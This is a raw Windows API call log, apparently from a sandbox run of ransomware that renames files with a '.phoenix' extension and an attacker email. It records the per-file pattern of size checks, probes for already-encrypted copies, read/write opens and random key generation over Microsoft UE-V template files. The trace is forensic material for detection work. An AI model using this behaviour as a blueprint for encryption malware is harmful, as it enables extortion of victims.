	[0229.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.333] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13160) returned 1
	[0229.333] CloseHandle (hObject=0x2d8) returned 1
	[0229.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml")) returned 0x20
	[0229.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.333] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.334] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=10596) returned 1
	[0229.334] CloseHandle (hObject=0x2d8) returned 1
	[0229.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml")) returned 0x20
	[0229.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.335] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.335] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=68367) returned 1
	[0229.335] CloseHandle (hObject=0x2d8) returned 1
	[0229.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml")) returned 0x20
	[0229.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.336] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.336] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=68367) returned 1
	[0229.336] CloseHandle (hObject=0x2d8) returned 1
	[0229.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml")) returned 0x20
	[0229.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.336] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.337] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13160) returned 1
	[0229.337] CloseHandle (hObject=0x2d8) returned 1
	[0229.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml")) returned 0x20
	[0229.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.338] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.338] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65731) returned 1
	[0229.338] CloseHandle (hObject=0x2d8) returned 1
	[0229.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml")) returned 0x20
	[0229.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.338] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.339] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65734) returned 1
	[0229.339] CloseHandle (hObject=0x2d8) returned 1
	[0229.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml")) returned 0x20
	[0229.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.339] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.340] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1286) returned 1
	[0229.340] CloseHandle (hObject=0x2d8) returned 1
	[0229.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml")) returned 0x20
	[0229.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.341] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.341] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1289) returned 1
	[0229.341] CloseHandle (hObject=0x2d8) returned 1
	[0229.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml")) returned 0x20
	[0229.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.342] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.342] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.342] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1289) returned 1
	[0229.342] CloseHandle (hObject=0x2d8) returned 1
	[0229.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml")) returned 0x20
	[0229.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.343] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.345] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2891) returned 1
	[0229.345] CloseHandle (hObject=0x2d8) returned 1
	[0229.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml")) returned 0x20
	[0229.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.345] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.346] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1005) returned 1
	[0229.346] CloseHandle (hObject=0x2d8) returned 1
	[0229.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml")) returned 0x20
	[0229.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.346] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.346] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.346] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.348] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2143) returned 1
	[0229.348] CloseHandle (hObject=0x2d8) returned 1
	[0229.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml")) returned 0x20
	[0229.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.348] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.348] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.348] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.350] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2606) returned 1
	[0229.350] CloseHandle (hObject=0x2d8) returned 1
	[0229.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml")) returned 0x20
	[0229.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.352] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.352] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.375] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9708) returned 1
	[0229.375] CloseHandle (hObject=0x2d8) returned 1
	[0229.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd")) returned 0x20
	[0229.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.376] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.376] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.376] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.377] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=14116) returned 1
	[0229.377] CloseHandle (hObject=0x2d8) returned 1
	[0229.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd")) returned 0x20
	[0229.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
